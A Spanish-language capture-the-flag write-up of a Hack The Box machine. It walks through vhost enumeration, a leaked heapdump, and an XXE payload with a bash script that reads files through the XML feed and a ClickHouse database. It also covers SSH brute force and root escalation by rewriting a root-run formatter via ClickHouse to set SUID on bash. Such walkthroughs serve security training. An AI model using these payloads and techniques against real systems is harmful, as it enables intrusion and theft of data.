Getting the Flags
Reconocimiento Inicial
Comenzamos escaneando los puertos abiertos.

Ahora vamos a analizar dichos puertos más en profundidad.

Vamos a investigar posibles rutas con gobuster. Primero del puerto 80.

Y luego del puerto 8081:

Vamos a ver cómo son las webs. Primero la del puerto 80.
La URL http://stream.htb (porque ya hemos metido en /etc/hosts la IP con stream.htb) nos redirige a http://api.htb-airport así que lo metemos en /etc/hosts.

Vamos a buscar subdominios. Sólo encontramos esto:

Así que metemos ambos en /etc/hosts. Vamos a enumerar ahora para esta URL, ya que es nueva.

Profundización
Vamos a analizar todos los archivos y directorios que hemos conseguido.

Tenemos una ruta que ingesta XML, sugiere que puede darse una XXE injection. Además vemos varias cosas muy interesantes.
- Los elementos requeridos para la petición:
IATA_AIDX_FlightLegNotifRQOriginatorFlightLegLegIdentifier
- La ruta que ingesta los XML:
/feeds/aidx. - Que la ingesta no parsea, sino que el parseo se realiza más adelante en el flujo.
De todas las rutas que hemos sacado hay otra que es interesante: /actuator.

Si vamos a ella se nos descarga un archivo.
Sensitive Information Disclosure
Vamos a investigarlo. Es muy grande por lo que vamos a filtrar.
strings heapdump | grep -i -B 5 -A 5 "username"
Con este comando encontramos unas credenciales:
Explotación
LFI via XXE Ijection
Ahora vamos a probar a mandar una petición XML maliciosa para realizar la XXE. Después de probar un poco vemos que es esta:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE IATA_AIDX_FlightLegNotifRQ [ <!ENTITY xxe SYSTEM "file://FILE_PATH"> ]> <IATA_AIDX_FlightLegNotifRQ Version="22.1" TransactionIdentifier="TX_ID"> <Originator>TEST</Originator> <FlightLeg> <LegIdentifier>&xxe;</LegIdentifier> </FlightLeg> </IATA_AIDX_FlightLegNotifRQ>
Cambia el TX_ID y el FILE_PATH.
Después de guardarnos la petición la mandamos.

Cuando recibamos la respuesta de que todo esta OK, intentamos conectarnos a la base de datos para leer si se ha llevado a cabo la inyección correctamente.
Para saber a dónde mandar la petición, primero hay que enumerar la base de datos:
Durante esta fase de enumeración encontramos que el cliente utilizado es clickhouse:

Además podemos listar la DB con la contraseña y el usuario.

Se ha omitido esta parte por agilidad. El resultado es que sí hay XXE.
Inciso: Rabbit Hole
Se pueden llegar a sacar credenciales para el usuario svc-infra desde el XXE, pero esto es una pérdida de tiempo.
Se puede realizar un exploit como el siguiente:
#!/usr/bin/env bash set -u CH='http://db.htb-airport.htb' AUTH='svc_events:[REDACTED]' ENDPOINT='http://stream.htb:8081/feeds/aidx' TEMPLATE="$HOME/xxe-template.xml" if ! -f "$TEMPLATE"; then echo "[!] No encuentro la plantilla: $TEMPLATE" exit 1 fi for tool in /usr/bin/curl /usr/bin/python3 /usr/bin/sed; do if ! -x "$tool"; then echo "[!] Falta la herramienta: $tool" exit 1 fi done read_file() { local path="$1" local id="tx-xread-$(date +%s)-$$" local xml="/tmp/${id}.xml" local response local query local attempt local found=0 if '* || "$path" == *$'\n'*; then echo "[!] Ruta no válida." return 1 fi # Construir el XML sin interpretar caracteres especiales # de la ruta como sustituciones de sed. /usr/bin/python3 - "$TEMPLATE" "$xml" "$id" "$path" <<'PY' import sys template_path, output_path, txid, filepath = sys.argv[1:] with open(template_path, "r", encoding="utf-8") as f: xml = f.read() xml = xml.replace("TX_ID", txid) xml = xml.replace("FILE_PATH", filepath) with open(output_path, "w", encoding="utf-8") as f: f.write(xml) PY if $? -ne 0; then echo "[!] No se pudo generar el XML." return 1 fi echo "[*] Ruta: $path" response=$(/usr/bin/curl -sS --max-time 10 \ -X POST "$ENDPOINT" \ -H 'Content-Type: application/xml' \ --data-binary "@$xml") local post_status=$? /usr/bin/rm -f "$xml" if $post_status -ne 0; then echo "[!] Falló la petición HTTP de ingesta." return 1 fi echo "[*] Respuesta de ingesta: $response" echo "[*] Consultando ClickHouse hasta 8 veces..." query=" SELECT JSONExtractString(event, 'leg', 'all_fields', 'LegIdentifier') AS result FROM partner_feed.flightleg_json WHERE position(event, '${id}') > 0 LIMIT 1 FORMAT JSON " for attempt in {1..8}; do local result result=$(/usr/bin/curl -sS --max-time 5 \ -u "$AUTH" "$CH/" \ --data-binary "$query" 2>&1) if $? -eq 0; then if /usr/bin/python3 -c ' import json, sys try: d = json.load(sys.stdin) rows = d.get("data", []) if not rows: sys.exit(1) value = rows[0].get("result", "") print(value, end="") except Exception: sys.exit(2) ' <<< "$result" > "/tmp/${id}.result"; then found=1 echo echo "--- CONTENIDO RECUPERADO ---" /usr/bin/cat "/tmp/${id}.result" echo echo "--- FIN ---" /usr/bin/rm -f "/tmp/${id}.result" return 0 fi fi echo "[*] Intento $attempt/8: aún sin fila recuperable." /usr/bin/sleep 2 done /usr/bin/rm -f "/tmp/${id}.result" echo "[!] No apareció una fila con este identificador tras los reintentos." echo "[!] Esto no demuestra por sí solo que el archivo sea ilegible." return 1 } if $; then read_file "$1" exit $? fi while true; do printf '\nRuta absoluta del archivo (o q para salir): ' IFS= read -r path | "$path" == "quit" && break -z "$path" && continue read_file "$path" done
Este script recoge la plantilla XML que hemos creado antes y la manda con la ruta que le especifiquemos e intenta leer la salida de la base de datos. El caso es que como es una instalación de kafka, buscando en internet podemos saber cómo se llaman los archivos de configuración (server.properties). Aunque es un poco difícil de encontrar su ruta.

Si rebuscamos un poco en este archivo, podemos obtener las credenciales de este usuario.

Sin embargo es un rabbit hole, el usuario svc-infra no nos da nada que no podamos conseguir con martin_cole y encima ni siquiera puede leer la flag user.txt ni facilita la escalada de privilegios hacia root.
Fin del Inciso
SSH Bruteforcing
Ahora tenemos otro nombre de usuario. Con este usuario vamos a realizar un ataque de fuerza bruta.

Con estas credenciales iniciamos sesión con martin_cole por SSH. Una vez dentro podemos leer la primera flag.
Escalada de Privilegios
Custom Service and Timers Misconfiguration
Ahora toca escalar privilegios. Después de agotar todas las vías convencionales listamos servicios, timers, etc. Y encontramos lo siguiente:

Hay un timer que se ejecuta cada dos minutos. Vamos a ver qué hay dentro.

Parece que ejecuta cada dos minutos, como root un script. Vamos a ver qué es y que permisos tiene (-rwxr--r--, no es escribible por nosotros). El código es el siguiente:
#!/usr/bin/env python3 import os, subprocess, time, uuid from confluent_kafka import Consumer, KafkaError KAFKA_BOOTSTRAP = os.environ.get("KAFKA_BOOTSTRAP", "localhost:9092") DLQ_TOPIC = os.environ.get("DLQ_TOPIC", "aidx.flightleg.dlq.v1") GROUP_ID = os.environ.get("GROUP_ID", "aidx-dlq-drainer") QUARANTINE_DIR = os.environ.get("QUARANTINE_DIR", "/var/lib/aidx/quarantine") FORMATTER = os.environ.get("AIDX_FORMATTER", "/var/lib/clickhouse/user_files/aidx_quarantine.py") CH_PW_FILE = os.environ.get("CH_PW_FILE", "/etc/partner-sync/ch.pw") DRAIN_SECONDS = int(os.environ.get("DRAIN_SECONDS", "10")) def _pw(): try: with open(CH_PW_FILE) as fh: return fh.read().strip() except OSError: return "" def _record(reason, byte_len, root_tag, preview, qfile): def esc(s): return s.replace("\\", "\\\\").replace("'", "\\'") q = ("INSERT INTO aidx_ops.failed_ingest " "(id, reason, byte_len, root_tag, preview, quarantine_path, received_at) " f"VALUES ('{esc(uuid.uuid4().hex)}', '{esc(reason)}', {int(byte_len or 0)}, " f"'{esc(root_tag)}', '{esc(preview)}', '{esc(qfile)}', now())") subprocess.run(["clickhouse-client", "--user", "default", "--password", _pw(), "-q", q], check=False) def _format(raw): p = subprocess.run(["python3", FORMATTER], input=raw, capture_output=True, check=False) parts = p.stdout.decode("utf-8", "replace").strip().split("\t") return tuple(parts) if len(parts) == 3 else (str(len(raw)), "UNKNOWN", "") def main(): os.makedirs(QUARANTINE_DIR, exist_ok=True) c = Consumer({"bootstrap.servers": KAFKA_BOOTSTRAP, "group.id": GROUP_ID, "auto.offset.reset": "earliest", "enable.auto.commit": False}) c.subscribe([DLQ_TOPIC]) deadline = time.time() + DRAIN_SECONDS while time.time() < deadline: msg = c.poll(1.0) if msg is None: continue if msg.error(): if msg.error().code() == KafkaError._PARTITION_EOF: continue continue raw = msg.value() or b"" reason = "unknown" for k, v in (msg.headers() or []): if k == "reason": reason = (v or b"").decode("utf-8", "replace"); break qfile = os.path.join(QUARANTINE_DIR, f"{int(time.time())}_{uuid.uuid4().hex[:8]}.xml") try: with open(qfile, "wb") as fh: fh.write(raw) except OSError: qfile = "" byte_len, root_tag, preview = _format(raw) _record(reason, byte_len, root_tag, preview, qfile) c.commit(msg, asynchronous=False) c.close() if __name__ == "__main__": main()
Lo que nos interesa a nosotros es este snippet:
[...] def _format(raw): p = subprocess.run(["python3", FORMATTER][...] [...]
Además, en la parte de arriba del script está la definición de FORMATTER:
[...] FORMATTER = os.environ.get("AIDX_FORMATTER", "/var/lib/clickhouse/user_files/aidx_quarantine.py") [...]
Para que la función _format() sea llamada se tienen que cumplir algunos requisitos:

Vamos a ver entonces si podemos escribir el archivo de quarantine.py.

Parece que sólo el usuario clickhouse puede. Vamos a seguir investigando.

Parece que martin_cole tiene backups en su home.
Credential Extraction - Backups Error Logs
Vamos a intentar leer lo que contienen.

Parece que la contraseña SSH de martin_cole ha sido reutilizada.

Vamos a leer los archivos.

Acabamos de encontrar las credenciales del usuario default con:
clickhouse-client --user default --password '[REDACTED]'
Clickhouse System File Tampering
Ahora vamos a probar a ver qué puede escribir este usuario.

Parece que podemos escribir en el archivo, pero en modo append. Para sobrescribirlo, creamos una tabla temporal que utilice el motor File sobre ese archivo. Así podemos gestionar su contenido mediante SQL.

Ahora lo reescribimos para darnos una reverse shell, leer /root/root.txt o cambiar los permisos de /bin/bash a SUID.

Ahora miramos a ver si ha funcionado.

Vemos que el timer ha llegado pero el binario no ha cambiado de permisos. Para que cambie necesitamos el mensaje erroneo.

Y ahora volvemos a comprobar.

Ahora sí. Ahora sólo ejecutamos el binario.
Conclusión
Una máquina con un vector de foothold tan sencillo que de lo sencillo que era resultaba difícil hasta imaginárselo. ¿Cómo iba a funcionar un ataque de fuerza bruta contra SSH en una Medium de HTB? Pues así era. Quizás el camino más lógico hubiera sido que hubiera habido que pivotar hacia martin_cole desde el usuario svc-infra. Pero al fin y al cabo esto es lo que hay.
El vector de escalada de privilegios por el contrario era bastante más enrevesado y a la par más satisfactorio de encontrar.
En definitiva, en esta máquina hemos trabajado:
- Enumeración.
- Descubrimiento de
vhosts. - XXE.
- LFI.
- Desarrollo de exploits.
- Recuperación de backups con
kopia. - Fuerza bruta con
hydra. - Ejecución de comandos con
clickhouse-client.
En resumen, no ha estado mal, pero la primera parte (la del foothold) no ha tenido mucho sentido.
Hemos conseguido ambas flags!!
